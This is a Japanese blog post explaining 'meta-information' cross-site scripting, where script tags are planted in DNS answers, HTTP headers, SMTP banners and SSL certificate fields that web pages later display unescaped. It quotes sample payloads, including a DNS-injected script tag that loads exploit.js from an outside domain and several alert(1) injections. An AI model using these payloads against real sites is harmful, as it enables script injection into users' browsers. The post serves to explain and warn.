メタ情報によるXSS
先日、なかなか強烈なXSS攻撃手法が公開されていました。 DNSへの問い合わせ結果にJavaScriptを埋め込んでしまおうというものです。
- SkullSecurity: Stuffing Javascript into DNS names
- DarkReading: Researcher Details New Class Of Cross-Site Scripting Attack
- nCircle: Meta-Information Cross Site Scripting (PDF)
自動生成されるWebページ中に、DNSによる名前解決結果がエスケープされない状態で含まれていると、JavaScriptが実行されてしまうという仕掛けです。
「hogehoge.example.com」が本来ならば「198.1.100.3」というようなIPアドレスが結果として返るところを、DNSに細工を行って以下のように返るようにします(/*\032*/はスペースの代わり。単に「/」でも可能。)。
<script/*\032*/src="http://nosuchdomainc-hoge.com/exploit.js"></script>
本来であればIPアドレスが表示されるところにscriptタグが入ることで、それをそのまま表示してしまうWebページ上で外部のJavaScriptが実行されるようになってしまいます。 たとえば、DNSによる名前解決結果をそのままWebに表示するようなCGIなどが影響を受けます。
他にも色々「使える」フィールドがある
さらに見て行くと、DNSの問い合わせだけではなく、HTTPのヘッダや、SMTPヘッダにJavaScriptを埋め込む事で、Web化されたサービスの脆弱性を突ける場合があるようです。
以下、「nCircle: Meta-Information Cross Site Scripting (PDF)」で紹介されている例です。
HTTP
HTTP/1.0 200 OK
Date: Wed, 02 Dec 2009 04:39:33 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.4-2ubuntu5.9
X-XSS: <script>alert(1)</script>
Connection: close
Content-Type: text/html; charset=UTF-8
SMTP
220 [redacted] ESMTP Postfix <script>alert(1)</script>
SSL
Loading 'screen' into random state - done
CONNECTED(00000754)
depth=0 /C=CA/ST=<script>alert(1)</script>/L=<script>alert(1)</script>/O=<script>alert(1)</script>/OU=<script>alert(1)</script>/CN=<script>alert(1)</script>/emailAddress=<script>alert(1)</script>
verify error:num=18:self signed certificate
verify return:1
depth=0 /C=CA/ST=<script>alert(1)</script>/L=<script>alert(1)</script>/O=<script>alert(1)</script>/OU=<script>alert(1)</script>/CN=<script>alert(1)</script>/emailAddress=<script>alert(1)</script>
verify return:1
最後に
様々なものがWeb化されていったことで、今まで<script>タグが入ることを想定されていなかったインターネット上の各種プロトコルフィールドに<script>タグを入れてみようというのは、まさに「その発想はなかった。。。」という感じでした。
(via tss_ontapさんのTweet)
関連
最近のエントリ
- 日本のIPv6採用状況が50%を超えている件について
- 「ピアリング戦記」の英訳版EPUBを無料配布します!
- IPv4アドレス移転の売買価格推移および移転組織ランキング100
- 例示用IPv6アドレス 3fff::/20 が新たに追加
- ShowNet 2024のL2L3
- ShowNet 2024 ローカル5G
過去記事